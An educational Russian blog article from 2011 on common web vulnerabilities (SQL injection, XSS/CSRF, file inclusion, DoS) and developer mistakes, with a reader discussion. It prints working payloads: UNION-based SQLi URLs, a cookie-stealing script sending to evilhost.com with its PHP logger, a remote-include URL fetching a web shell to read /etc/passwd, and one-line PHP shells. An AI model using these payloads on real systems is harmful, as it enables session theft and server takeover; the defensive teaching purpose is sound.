5 августа 2011 в 14:46

Ликбез по уязвимостям в веб-приложениях, а также самые частые ошибки разработчиков



Эта статья — продолжение цикла статей по информационной безопасности в веб-приложениях (и не только).

Вообще думал написать о «белом ящике», но я решил что нужно сначала ликвидировать возможные пробелы у целевой аудитории (в основном веб-разработчики) в этой области.

Может многие и все знают, о чем я пишу в статье, но я попытаюсь разбавлять ее практическими примерами и занятным опытом.

Планирую, что это статья — предпоследняя. После данный цикл будет повторен, только в более сложном варианте, с бОльшим углублением в данную тему. Надеюсь меня хватит на это, и вообще, что есть смысл об этом писать.

Как обычно — ответственность за все полученные знания только на читателе :)


Наиболее часто допускаемые ошибки при разработке веб-приложений (в плане безопасности), а также краткий ликбез по эксплуатированию «популярных» уязвимостей.



Для начала немного о SQL инъекциях, XSS/CSRF, RFI/LFI

SQL inj — SQL инъекция, выполнение несанкционированных запросов
XSS/CSRF — внедрение произвольного JS кода/скрипта в страницу. XSS — Cross Site Scripting (первая буква в аббревиатуре «X» чтобы не было путаницы с CSS (стилями). CSRF — выполнение произвольных действий в браузере пользователя
RFI/LFI — Remote/Local file inclusion. Использование удаленных («извне»)/локальных файлов в своих целях
DoS — Denial Of Service. «Умный» вывод ресурса из строя (в отличии от DDoS). Данная атака производится при возможности выполнения «долгих» запросов или длительном выполнении кода.

Для того, чтобы знать, как защищать — надо знать, как взламывают ;]

SQL инъекции

Очень много разработчиков слышали о ней, знают, что надо использовать prepare в своих фреймворках, функции escape для специальных символов перед выполнением запроса. Это все конечно хорошо, но мало кто знает об их возможностях и как провести инъекцию на практике. Сейчас мы это упущение частично ликвидируем, если оно у вас есть.
Идея проста. Вместо вашего запроса выполняется еще один, или меняются параметры задуманного.

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,2,3,4,5,6,7,8,9,10,11
(кликнуть ссылку)
Логично, что -1 записи не существует. Поэтому для каждого столбца таблицы у нас будут значения 1..11 и некоторые из этих значений мы получим в браузере (количество возвращаемых значений в union должно соответствовать количеству столбцов в первом запросе). Получить информацию о текущем подключении не составит проблем, вместо тех чисел, что у нас видны на странице, подставляем функции нашего сервера БД в GET запрос.
На примере MySQL (а не «мускулом» одним едины) получаем

http://testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,version(),3,4,5,6,database(),8,9,10,user()
(кликнуть ссылку)

И мы получили ожидаемое.
Однажды у Positive Technologies я встретил очень полезную страничку с таблицей различия SQL инъекций в одном из PDF файлов, вот она в виде картинки.

DoS. Разберем пример, где фильтруется входящий параметр для запроса, но где применима DoS атака

<?php
$limit = (int)$_GET['limit'];
$rows = mysql_query("select * from table limit 0,".$limit);
?>

Вроде бы явное приведение типов, в чем подвох? А если у нас 100 тысяч записей в этой таблице :]? Пробуем script.php?limit=_большое_число_ и получаем DoS ресурса. Часто применимо в скриптах, где ограничивается количество записей (обычно юзеру дают 5,25,50,100 записей). Злоумышленнику не составит труда подменить это значение, поэтому лучше использовать case/switch при реализации подобного функционала.

Хотел упомянуть о file_priv, который обеспечит возможность работать с файлами на ресурсе через SQL запросы.
Но все же в первую очередь sql инъекции это произвольное выполнение запросов (insert, replace, update, drop...)

XSS/CSRF

HTML инъекции принято делить на 2 вида.
Активные — html/js код сохраняется в базу и выполняется при каждом его выводе из базы (к примеру пост на форуме, данные профиля и т. д.)
Пассивные — html/js код выполняется непосредственно при обращении к скрипту с заранее сформированными параметрами. Примером может служить форма поиска на ресурсе, когда после заполнения ее html кодом он будет внедрен в результаты поиска.
Не стоит недооценивать подобные инъекции. На alert() они обычно не заканчиваются, это лишь начало.
Если у вас к примеру где-то при написании поста не фильтруется html, то вот пример «угона» cookies (я привожу пример «топорной» конструкции умышленно, тут не рассказ о тонкостях сокрытия xss). Постим сообщение вида:

<script>
var url = '<img src = "http://evilhost.com/sniffer.php?cookie=' + document.cookie + '">';
document.write(url);
</script>


Так как у нас подразумевалась активная XSS, то теперь, после того как пост попал в базу и после того, как любой пользователь (или админ) откроет наше сообщение — наш сниффер сохранит его cookies :] Т.е. sniffer.php имеет подобное содержание:
<?php
if (isset($_GET['cookie']))
{
    $text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS \of F Y h:i:s A');
    $text .= "\n".str_repeat("=", 22) . "\n" . $_GET['cookie']."\n".str_repeat("=", 22)."\n";
    $file = fopen("sniff.txt", "a");
    fwrite($file, $text);
    fclose($file);
} 
?>

Далее дело техники.
Сюда же CSRF — это атака, которая выполнит определенные действия в браузере пользователя. К примеру — добавит админа, переведет куда-либо деньги и т.п Для этого конечно нужно знать структуру страницы, чтобы переключаться по элементам и выполнять действия. CSRF очень часто используют вирусы.
Потренироваться можно тут
Но и на этом все не заканчивается :) существует не один метод проведения XSS атаки. Есть и base64, и фишка с utf7, и XSS в изображениях/флэш файлах. Есть очень много статей на эту тему, но идея остается одна — внедрение кода в страницу.

RFI/LFI

Не так часто встречаются, но имеют место быть. Пример уязвимого кода:
<?php
$module = $_GET['module'];
include($module);
?>
Наглядный пример файловой инъекции. Как применить?
http://server.com/somescript.php?module=http://evilhost.com/phpshell.txt&c=cat+/etc/passwd

Где файл phpshell.txt будет иметь подобное содержание

<?php echo @`$_GET[c]` ?>

Ну или такое

<?=@`$c`?>
(by Raz0r, 2008 год)

Во втором варианте нужны включенные short_open_tag и register_globals
И мы получим произвольное выполнение команд на сервере с правами веб-сервера.
Иногда подобным кодом протроянивают форумы (PHPBB как пример) и не всегда можно заметить такую строчку как опасную в шаблоне (в PHPBB есть опция включения выполнения PHP в шаблонах).

На этом краткий ликбез окончен, но это лишь основы. Есть способы обхода «попыток защит». Такие фичи как magic_quotes, addslashes, WAF не являются панацеей. А хуже всего, когда сами функции языка — уязвимы (к примеру проблемы с мультибайтовыми кодировками, подключением файлов в PHP 5.2)

Наиболее частые ошибки


Debug на production

Ничего хорошего в этом нет, даже если вам это удобно. Такие директивы как error_reporting, debug (django) должны быть настроены соответствующим образом. Взлом упрощается, когда мы имеем дело уже не вслепую, когда хакер может раскрыть полный путь до веб директории, чтобы в будущем к примеру использовать при sql inj (в данном случае я про file_priv). Поэтому никаких ошибок серверного ПО, интерпретаторов конченому конечному пользователю не надо показывать. А в коде лучшим способ будут конструкции:
if ($something) someFunction() 
else
{
	echo "Сообщение об ошибке пользователю";
	writeLog(...); //записать в лог событие
}

Туда же и 404 и подобные ошибки. Следует использовать свой вид этих страниц, а не от сервера. Да и это плюс не только в плане безопасности, а общего пользования.

Directory indexing

Настраивайте сервер соответствующим образом, запрещайте это в .htaccess, в конце концов пусть у вас присутствуют пустые index файлы в директориях, где не должен быть доступен листинг директории.

.htaccess мог бы и «спасти» от недавней уязвимости нулевого дня в расширении для WordPress

XSS

Про возможности данного вида атак я уже рассказал выше. Все, что принимаете от пользователя (в том числе и в админ панели) надо фильтровать. Помогают в этом функции как htmlentities, striptags. Или escape символов в шаблонизаторах (Smarty).

SQL инъекции

Нужно использовать функционал, предоставляемый фреймворком, и ни в коем случае не использовать конкатенацию с входными параметрами (тем более — без фильтрации)! mysql_real_escape_string, prepare всегда должны быть с вами!

File Upload

К этому надо вообще относиться со всей серьезностью. Проверки расширения файла путем сравнения строк недостаточно, нужно также проверять MIME тип файла. Перед написанием модуля, использующего загрузку файлов представьте себе, что каждый пользователь, кто им будет пользоваться — хакер и у него будет только одна мысль, как через ваш модуль загрузить шелл.
А если вы надумали вызывать программы для загруженного файла (будь то его конвертация, или распаковка архива) — тут тоже очень тонкий момент со спец. символами в файлах, которые могут привести к DoS ресурса. Я сейчас об очень популярном методе атаки файловых хостингов, которые проверяют загруженные файлы на вирусы.
Атака сводится к тому, что генерируется файл с «/0» содержимым на несколько гигабайт, запаковывается в архив (в итоге он весит несколько Кб) и загружается на файлообменник. После загрузки файл распаковывается, а что дальше — стоит только догадываться :)

RFI/LFI

Выше я уже частично описал реализацию данной атаки и методы фильтрации. Прежде чем что-то подключить, в зависимости от входящих данных — нужно провести валидацию. Обычно при использовании достойных фреймворков этой проблемы не возникает.

.htaccess, индексные файлы, настройка PHP

Немного повторюсь, но: запрещаем все ненужное в папках, не допускаем индексацию директорий, отказываемся от register_globals и подобных, «не рекомендуемых» опций PHP.

Общий момент, репо-файлы.

.svn в корне при экспорте репозитория хранит исходные файлы. Так был «хакнут весь интернет». Занятное чтиво по ссылке.

Фильтруйте все входящие параметры (не забывайте про cookies!), учитывайте возможные алгоритмы выполнения ваших скриптов, настраивайте соответствующим образом права (chmod, привилегии пользователей БД, .htaccess), задумайтесь о безопасном выполнении вашего очередного коммита перед отправкой и продукт должен стать еще лучше!

Про криптостойкость. Если используете хэширование — то лучше sha1 (против md5), а еще к нему добавлять «соль».
$hash = sha1($username.':'.$password);


Заключение


Меня (скорее всего) будут минусить за 2 вещи:
  1. что полно информации по этой теме в интернете
  2. Незачем рассказывать практику применения уязвимостей
Так и вот, по первому пункту — статья неразрывна связна с циклом статей, я не могу ее вычеркнуть и не рассказать обо всем этом. По второму — без практических знаний результаты попыток «защититься» практически сводятся к нулю.

Серия:
Sergey Belov @BeLove
карма
239,7
рейтинг 0,0
Пользователь
Похожие публикации
Самое читаемое Разработка

Комментарии (75)

  • +11
    Статья хорошая, хотя лично я ничего нового не узнал.
    Насчет загрузки файлов — можно было бы рассказать про возможность вставки PHP кода в тело картинки и подобные техники
    • 0
      Ну это еще надо умудриться настроить сервер так, чтобы jpg (png, bmp, gif) файлы можно было исполнять…
      • 0
        Проверки расширения файла путем сравнения строк недостаточно, нужно так же проверять MIME тип файла.

        Некоторые даже расширения не проверяют на серверной стороне, а в настройках по умолчанию(?) апача .php работает из любого каталога.
        • 0
          почему недостаточно? Аппач смотрит по расширению, если зааплоадить консольный скрипт у него не будет прав на выполнение да и к онсоли доступ нужен будет для его запуска. Что я упустил?
          • 0
            При определении mime типа считывается часть файла и сравнивается с магическими константами разных типов файлов. Т.е. более точное определение и гарантия, что не смотря на расширение там именно то, что надо.
            • 0
              всё равно не понял. Взлом через аплоад файла, если нет проверки на расширение: загрузили скрипт doorway.php, ввели в браузере путь к нему, скрипт выполнился, сделал какую то гадость. Если есть проверка на расширение: загрузили скрипт doorway.jpg, ввели в браузере путь к нему, получили контент, увидели ошибку в браузере… В чём опасность?
        • 0
          Стоит только отметить, что надо анализировать не mime тип приедший от браузера пользователя, а определенный на стороне сервера соответствующими функциями/библиотеками.
      • 0
        Это весьма частая ошибка. На шаредах периодически вылазят подобные косяки.
      • 0
        Часть бывает так, что файл image.php.jpg выполняется пхп интерпретатором, и тогда туда можно вставлять пхп код
        • 0
          проверил на дефолтных настройках апача всё равно определяется как jpg. Не думаю, что на каком то приличном вебсервере такое прокатит.
  • 0
    Если вы можете самостоятельно настроить php, то можно отключить ненужные функции которые в умелых руках могут быть небезопасны. в php_ini
    disable_functions = phpinfo,popen,exec,system,passthru,proc_open,shell_exec,eval и тд

    Хорошая статья про безопасную обработку загружаемых изображений есть на хабре — часть 1, часть 2
  • +6
    «то лучше sha1 » — sha256, так как sha1 broken в 2005 году.
    • 0
      безопаснее не столько «крутизна» (сложность вычисления / длина результата) алгоритма, сколько уникальность каждого хэша (добавляем «соль»), независимо от исходных данных
  • +1
    По поводу SQL инъекций обязательно нужно сказать, что с помощью запроса можно считать и записать инфу на диск (при соответствующих настройках). Был знаком с разработчиком, который знал, что у него не фильтруются входные параметры в sql и думал, что с помощью этого максимум можно считать данные из базы. В реальности же можно записать веб-шелл и затем творить все что угодно со взломанной машиной/сайтом.

    И уже в третьей статье упоминается Positive Technologies. Какой-то нездоровый интерес…

    А сама статья довольна неплоха для тех, кто хочет понять самые основы защиты от взлома, поддерживаю Ваше начинание!
    • 0
      если бы читали статью полностью — заметили, что я об этом упомянул (два раза) ;]
      А про Positive — я очень многое почерпнул из их документов и блогов сотрудников. По этому ссылаюсь на них.

      Благодарю за фидбэк :-)
      • 0
        Да, видел, что упоминали, но слишком мельком.
    • 0
      А сама статья довольна неплоха

      Ещё бы на эту самую статью кто ссылку поставил… А то сходу не сориентироваться о какой именно речь.
  • 0
    Разве для CSRF нужен JS? Достаточно простой ссылки
  • –3
    Смысл в таких статьях? Это тоже самое, что в 2011 году про взлом WEP статьи писать.
    • +7
      Вы неправы. Новички в веб-программировании легко могут наткнуться на подобные грабли. Лично я часто встречаю сайты, где есть SQL-инъекции, XSS-инъекции. А иногда и пхп-инклуды встречаются (у меня есть привычка в любое поле для ввода информации пытаться ввести кавычку :))) )
      • –4
        Угумс, и ведь WEP встречается тоже иногда! Просто дело в том, что про это уже стопятьсот статей. Что в этой нового?
        • 0
          Я написал об этом в заключении, что эту статью нельзя «взять и выбросить» из общей серии статей.
          Плюс старался «разбавить» ее тем, чего нет в той «куче статей», которые легко нагуглить.
        • 0
          Вот же ж зануда!
  • +1
    Нового ровным счетом ничего. Эта статья не претендует на список 0day уязвимостей. Просто перечень граблей, на которые можно наступить новичкам. Разумеется, всем не новички должны все это знать как свои пять пальцев.

    Кстати, я лично знаком с верстальшиком, который подключал шаблоны по методу include($_GET['template']) и очень удивился когда я ввел туда не то что он ожидал
  • 0
    Для DoS атаки не обязательно иметь limit, можно сделать вот так, например:

    • 0
      testphp.vulnweb.com/listproducts.php?cat=-1+union+select+1,version(),3,4,5,6,database(),8,9,10,benchmark(10000000, md5(user()))
      • 0
        эээзх!
        Я умышленно убрал это вариант и упоминание про этот способ. Так как все время testphp.vulweb ложат этим способом :-) И оба приведенных примера не получится «пощупать».
        Ну да ладно :)
        • 0
          Обещаем запускать не больше одного раза на одного юзера! ;)
  • +2
    DoS — Denial Of Service. «Умный» вывод ресурса из строя (в отличии от DDoS). Данная атака производится при возможности выполнения «долгих» запросов или длительном выполнении кода.

    Не совсем верно, тупой ab -n 1000000 -c 1000 example.com вполне может положить сервер (если локально отработает и канал позволит :) )
    Разница между DoS и dDoS в том, что в первом случае атака идёт из одной точки, а во втором распределённая, причём в обоих она может быть тупой, а может быть умной (недавний dDoS на хабре с запросом на поиск -, имхо, полуумный :) )
    • 0
      DDoS чаще применяется с целью перегруза количеством (запросов, траффика и т.д. грубая сила, в общем), а DoS — скорее, так сказать качеством (меньше действий, больше эффект)
  • +1
    А вот лично для меня так упорядоченная инфа — это то, чего мне не хватало. Спасибо, очень рад серии, жду продолжения.
  • 0
    Плюс как-то думал, что CSRF и XSS это совершенно разные атаки и соответственно совершенно разные методы защиты. При первой атаке JS не нужен вовсе, да и вообще на атакуемый сервер ничего не внедряется, а со стороннего сайта (злоумышленника или зараженного через XSS или ещё как) браузер пользователя отправляет на атакуемый запрос, изменяющий его состояние. Задача атакуемого понять, что запрос, изменяющий его состояние, пришёл с левого для него сайта. Простейший способ — проверка HTTP_REFERER, но по разным причинам он может фальшиво срабатывать, посложнее — вставка в запрос «секретного» (индивидуального для пользователя, а то и для запроса) поля
    • 0
      >> но по разным причинам он может фальшиво срабатывать
      например?
      • 0
        Параноидальные настройки файерволла, или тупой прокси… В браузерах анонимные режимы какие-то появились — возможно тоже прячут.
        • 0
          HTTP реферер вообще не обязан присутствовать. :)
          Кто это не учитывает — сам себе злой буратина. Часто встречаются сайты, которые при отсутствии реферера бездумно плются PHP warning'ами.
    • –1
      при условии что нет xss, то просто проверка реферера намного безопаснее в ряде случаев чем генерация ключа, так как если у вас на сайте используется crossdomain.xml можно совершить несколько запросов на интересующие страницы страницы клиентом пользователя при помощи флеш
      например идет скрытый запрос на страницу с формой, ключ клиенту записывается например в сессию, потом идет второй с ложными данными на страницу обработки формы и ключ подходит
      а с проверкой реферера это не получиться, с проверкой реферера без xss провести csrf не получиться, так что не вводите в заблуждение что просто проверка реферара это самый легкий способ, как показывает практика это самый надежный способ
      • 0
        <img src='http://site.com/delete_my_account.php' />
        В итоге имеем абсолютно корректный referrer.

        Так что уже лучше использовать код. А запросы из флеша легко отслеживаются по изменившемуся юзерагенту.
        • 0
          каким образом вы вставите мне на сайт site.com/delete_my_account.php? я ведь написал при условии что нет xss(и подобного рода внедрений)
          >> А запросы из флеша легко отслеживаются по изменившемуся юзерагенту.
          вы не поняли, пользователь и есть агент он не меняется никак, флеш служит только как средство кроссдоменных запросов при помощи js, единственное что не так будет при таком запросе только реферер, остальное все как обычно
          • 0
            ну пусть это будет не delete_my_account.php, а delete_post_in_forum.php. Короче любая ссылка выполняющая какие-то действия.
            • +2
              я понял, пусть хоть delete_site_and_world.php :)
              вы объясните откуда этот тег может взяться например у меня на сайте, при условии что теги фильтруются и нет xss, что в прочем то одно и тоже, как вы внедрите этот код?
              понимаете я проверяю реферер чтобы все запросы шли только с моего сайта и все, например так if (parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) != $_SERVER['HTTP_HOST'])) die;
              • 0
                Надеюсь только на небезопасных скриптах? :)
                • 0
                  ок, я смоделировал ситуацию при которой генерация токена бесполезна(читайте выше), смоделируйте ситуацию когда вы сможете защиту(по коду выше) обойти, при условии что нет xss, как и раньше и обозначил
                  • 0
                    Честно говоря я не понял её смысла. То есть не вижу где там атака. У меня два сайта site1. com и site2.com. На site1.com авторизуются пользователи, а на site2.com лежит, скажем, флэш-игрушка, в которой авторизованным на site1.com пользователям дают бонусы. Для этого я положил в корень site1.com crossdomain.xml и указал в нём site2.com как доверенный. Да, игрушка делает запрос к site1.com, получает ключ формы, заполняет форму и отправляет её. Где здесь атака? Это нормальная функциональность, которую я заложил и в site1.com, и в site2.com, и во флэш-объект. Надо будет — заложу и в JS. Вопрос — где здесь атака, если нет XSS? А если есть, то с таким же успехом XSS может быть на моём сайте и тут реферер не спасёт.
                    • 0
                      Первое я написал что crossdomain должен быть разрешен для всех. А не только site1 site2. Как пример вы отдаете игру как embed код для вставки в другой сайт ваш придется этот сайт разрешить если флеш должен с ваших сайтов подгружать какие то данные. Иначе он не сможет сделать запрос. Тут подробнее habrahabr.ru/blogs/web_security/125727/#comment_4139003
                      Второе. Если на сайте есть XSS генерация ключа тоже не спасет. Например я внедряю код 2 запросов ajax на сайт. Таким образом один запрос идет на форму где юзер получает тоукен, второй на страницу отправки с полученным токеном. И все.
                      Но если есть XSS защита по рефереру тоже бесполезна.
                      • 0
                        Ну если вы сами разрешили кроссдомен для всех, то опять-таки почему это атака? Если XSS то ничего не спасёт :)
                        • 0
                          Не все так просто. Если бы запретил crossdomain и все. Но нет. Мировые лидеры по видео контенту имеют эту уязвимость, а вы говорите просто закрыть. Закроете одно закроется и другое, я просто тему плотно изучал. Все расписывать тут по крайней мере не охата.
                          Способ с реферером работает. И не нужны никакие ключи и прочее. Например у меня так в фреймворке.

                          if ($_SERVER['REQUEST_METHOD'] == 'POST' && (!isset($_SERVER['HTTP_REFERER']) || parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) != $_SERVER['HTTP_HOST'])) {
                          $this->_403()->send();
                          exit(0);
                          }

                          И фиг взломаешь. А то что как вы написали файрвол и т.д. Это конечно понятно, но ориентируюсь на массового пользователя. А если клиент сознательно юзает например tor или чего то еще это его проблемы. У меня например ни разу нареканий по моим сайтам на счет этого не было. Если например хочешь вывести деньги или еще чего важное будь добр, юзай то что и все. Вот и вся философия :)
                          • –1
                            Ну вы выбираете меньшее удобство для пользователей в обмен на большую безопасность, я наоборот. Тем более что свой флэш на недоверенных сайтах не рассматриваю в принципе.
                        • 0
                          P.S. Это атака потому что я могу распарсить страницу получить ваш ключ и отправить его на нужную форму. А если бы проверялся реферер я бы этого сделать не смог. Понимаете? Я могу var html = API.GET(«site.com», «q=1&q=2»); var token = html.match(/input type=«token» value="(.+?)"/)[1]; API.POST(«site.com», «q=1&q=2&token=»+token);
                          И это все от имени клиента. Вы считаете это не атакой?
                          • 0
                            И где вы это будете парсить? Во флешевом объекте? Он, вроде, к сессии в соседней вкладке доступа не имеет. JS на своем сайте? Аналогично.

                            • 0
                              Какая соседняя вкладка? Причем тут она, не понял.
                              JS имеет доступ к флешу(элементу спрятанному на странице). Вы в курсе что на флеше можно реализовать доступ к его объектам из JS?
                              Ладно рассказываю на пальцах. Flash умеет делать кросдоменные запросы, если домен предоставил ему доступ через crossdomain. Реализовывается программка на флеше которая ничего кроме запросов не умеет но имеет доступ из JS к ее функциям POST и GET уже реализованым в программе и это будет весить 10кб+-. Вы прячете на странице эту флешку. Пользователю достаточно зайти туда и все. Таким образом вы манипулируете непосредственно браузером(клиентом) пользователя. Флеш и есть часть клиента, все заголовки, куки, и прочее от клиента идут по указаному домену автоматом от браузера, кроме реферера это поле флеш сам ставит, все остальное идентично как будто вы зашли с браузера, понимаете?
                              Как пример обычный плеер. Он и совершает такие действия, например плеер ютуба. Он автоматом когда шлет запрос, то подхватывает все заголовки в том числе куки если они есть для домена/пути куда он шлет этот запрос.
                              Т.е. если по сути рассматривать это, то это обычный кродоменный ajax, но если вы для обычного кроссдоменного ajax-a должны на своем серевере какой то прокси иметь скрипт как пример, чтоб совершить запрос на другой домен. То в случае с флешем этим прокси он сам и является. Он и есть клиент, который взаимодействует посредством браузера, поэтому и ip и прощее остаются те ми же. В отличие от скрипта где IP уже будет сервера, ну соответсвенно куки никакие не отправляться на скрипт браузером.
                              • 0
                                С флэшем действительно не работал никогда, но спасибо за объяснение — главное правило усвоил — не ставь на свой домен файл crossdomain.xml, т. к. кроме реферера нет способа понять, что это флэш.
                              • 0
                                UserAgent насколько помню подменить нельзя.
                                Все утилиты закрываем от флеша.
                              • 0
                                Полностью согласен. На прошлой неделе обратился ко мне знакомый с проблемой, что его компьютер блокировал windows и просит на WMU скинуть 120 грн — человек просто смотрел фильм онлайн, ему на XP подгрузили скрипт через flash, который блокировал все, кроме консоли в безопасном режиме. Подробно о проблеме можно погуглить. Картинка была что-то типа вот этой: book-lab.ru/foto/virus/Windows_zablokirovan.jpg
                                P.S. По факту Flash и Java у клиента это очень большая уязвимость, а главное не только для клиента. От части рад, что в Linux есть хорошее распределении прав доступа.
                              • 0
                                с другого домена без проблем тянутся js файы, этого достаточно чтобы организовать кросдоменный аякс. Чтобы просто слить какие то данные, например куки, достаточно обратиться к скрипту с гет/пост параметром на своём домене.
                                • 0
                                  это будет работать если Access-Control-Allow-Origin: * например стоит, иначе нет
                                  каким образом вы получите html или куки клиента зашедшего на вашу страницу которая обращается на другую страницу? объясните пожалуйста, если не трудно
                                  • 0
                                    не на свою… если есть возможность разместить js код на чужой странице, который будет обращаться к скрипту на вашем домене, то вы можете получить чужие куки.
                                    • 0
                                      аа)) ну так это понятно, если есть xss, тогда вообще нет никаких проблем что-то получить, и никакая защита не поможет от csrf
                                      но мы говорили о странице взломщика на которую заходит пользователь и флеш посылает кроссдоменный запрос на другой сайт, вот в чем разница
                                      • 0
                                        т.е. Захожу на сайт злоумышленника, он посылает запрос на вконтакте, если я там был раньше залогинен то сессия активна и скрипт может удалить/друзей, сменить пароль и т.д. — так? Если да, то это обычный CSRF и для него флеш не нужен, всё делается с помощю js или просто нтмл
                                        • 0
                                          Речь шла не об одном запросе, а о нескольких с одной страницы, без ведома пользователя. Т.е. заходит пользователь на сайт злоумышленника скрипт делает запрос чтоб получить генерируемый ключ(token) предотвращения csrf и потом делает запрос уже с ключом. А если вы делаете просто запрос то ключа не будет, запрос не пройдет.
              • 0
                Этот тег я могу оставить форуме, гостевой или комментарии у Вас на сайте.

                Меня вот тоже заинтересовало: откуда у меня на сайте возьмется флеш, который выполняет все эти JS запросы? Опять же при условии отсутствия более страшных дыр чем CSRF.
                • 0
                  Вы не оставите, потому что теги фильтруются, защита от xss и в любом нормальном скрипте есть, как видите в форме на хабре тоже только можно определенные теги юзать остальное фильтруется. Так что картинку вы не вставите.
                  >> откуда у меня на сайте возьмется флеш
                  А он не на вашем сайте а на моей странице. Это просто скрытый флеш элемент, которого назначение только делать кросс доменные запросы при помощи js. Понимаете? Это так же как будто вы делаете ajax запрос по своему хосту, но тут разница что на хост другой запрос можно сделать. Но как раньше заметил, что это только у тех сайтов у которых crossdomain.xml разрешен для всех. А это кстати сайты многие которые отдают embed код для видео. Так вот у этого флеша(программки скрытой на странице) есть минимальное API для JS. И таким образом я могу сделать следующее. Например API.GET(«site.com», «q=1&q=2») или API.POST(«site.com», «q=1&q=2») и все. Все заголовки HTTP, IP, все те же так как клиент и делает сам запрос, но только! реферер другой, так как флеш ставит сам реферер, вы никак не поставите.
                  • +1
                    > защита от xss и в любом нормальном скрипте есть
                    Я с самого начала подозревал что Вы не понимаете разницы между CSRF и XSS, теперь вижу что Вы окончательно запутались.

                    > это только у тех сайтов у которых crossdomain.xml разрешен для всех.
                    Фу ты блин, я-то думал что действительно о какой-то серьезной уязвимости речь, а тут «раз в год при попутном ветре».

                    Если не возражаете, я от дальнейшей дискуссии устранюсь.
                    • 0
                      Если надумали слиться то так и скажите, что сморозил херню и все. Вы сначала сами разберитесь как CSRF и XSS связаны а тогда пишите глупости типа. На досуге разберитесь с функцией php.net/htmlentities
                      и быть может и на ваших сайтах перестанут появляться такие глупости как
                      • 0
                        Просто не вижу смысла обсуждать с Вами то, о чем Вы не имеете представления.
                        www.cgisecurity.com/csrf-faq.html#attackperform
                        • –3
                          сначала почитай о чем я говорил с VolCh, если ума хватит понять о чем идет речь, то сможешь сделать выводы если не хватит то не лезь в разговор с берелебердой типа img src='http://site.com/delete_my_account.php' которая не имеет к этому никакого отношения
                          мы не говорили о xss(внедрение произвольного кода) который ты приплел почему то к разговору, а о csrf (поделка запросов пользователя), и если на сайте нет xss, то csrf через проверку по рефереру не получиться, я об этом уже написал пару раз написал и об этом мы говорили. ты влепил какую то хрень типа «Этот тег я могу оставить форуме, гостевой или комментарии у Вас на сайте.» Как ты бля дятел оставишь если символы кодируются например через htmlentities или теги вообще удаляются, любой движок нормальный это делает.
                          короче, разберись в своей голове, и перечитай разговор тогда что-то отвечай. я лучше тебя понимаю отличия и взаимосвязи между CSRF и XSS. так что гуляй…
                    • 0
                      … глупости как img src='http://site.com/delete_my_account.php'
      • 0
        Не используется и сомневаюсь, что когда либо будет использоваться. Но, как я понял, его назначение как раз разрешить Сross Site Request и он действует по принципу «белого списка». Не вижу причин, если я разрешаю условно-стороннему флэш-объекту делать POST запросы из флэша, запрещать их делать из html/js.
  • 0
    почини картинки пожалуйста. ссылки «не совсем рабочие»
  • 0
    Интересно, а сегодня кто-то правда все еще использует конструкции типа mysql_query(«select * from table limit 0,».$limit)?
    • 0
      Видят в книжке и используют :(
  • 0
    Спасибо. Не ново, но вполне познавательно и структурировано.
  • +4
    Написано очень поверхностно и сумбурно. Будто бы читаю: «смотрите, я знаю что такое XSS, SQLi, CSRF и DDoS, да!». Логика хромает, структура уныла, содержательностью не пахнет. Да и такое ощущение, что автор сам со всем изложенным познакомился где-то вчера, прочитав десяток-другой разрозненных публикаций и копипаст (ну хоть о существовании Positive Technologies узнал), затем помучав себе на радость несколько унылых говнокодерских сайтов.

    Очень жаль тех, кто сие прочтёт, и на эти знания потом будет пытаться накладывать что-то ещё, или, не дай бог, удовлетворится только этим.
    Объяснение терминов меня вообще убило.
    SQL inj — SQL инъекция, выполнение несанкционированных запросов
    XSS/CSRF — внедрение произвольного JS кода/скрипта в страниц

    Брр…
    Про остальное даже промолчу. Я бы такое отправлял прямиком в трэш.

    IMHO, куда полезнее было читать это:
    классификация уязвимостей от Open Web Application Security Project
    рекомендуемые статьи и книги на сайте Web Application Security Consortium

    Даже статья Википедии при SQL-инъекции после этого топика кажется сказкой!
    • –2
      +1

      Топик вообще не о чем.
      Минусанул бы топик да нельзя.
      Такие посты — позор хабра.

      Начнем с того, что, вроде было правило копипасту на хабр не постить — все что я вижу в этом топике заезженно уже на каждом километре, и даже при этом я глубоко сомневаюсь что автор топика знает хотя бы как прочитать файл /etc/passwd через sql-инъекцию.

      $hash = sha1($username.':'.$password);
      Да ради бога — я солью дамп базы и посмотрю как зашифрован мой пароль, а затем запущу свой рекриптор, суть которого перебрать все возможные варианты хеширования пароля, до тех пор пока полученный рекриптором хеш не будет совпадать с тем что был в базе. И так как $username мне будет известен, то перебор паролей не займет уйму времени.
      Еще вариант — тупо прочитаю скрипт и вытащу это «формулу»…
      Докапываться можно к каждому предложению в статье.
      • +1
        Ну это замечательно, что Вы культхакер, а Ваш единственный топик про игру, не что иное как топ 100 статей за год.
        Нет, правда!
        Я думаю не стоит переходить на личности, кто-что умеет. На частоту — да, тема топика изъезжена.
        Не стоит кричать «позор тебе, и всему вашему семейству», но как видете, «пипл» поддержал, значит кому-то это интересно.
  • 0
    а я бы минусовал за слова: «Меня (скорее всего) будут минусить» — это явное попрошайничество и социальная инженерия

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.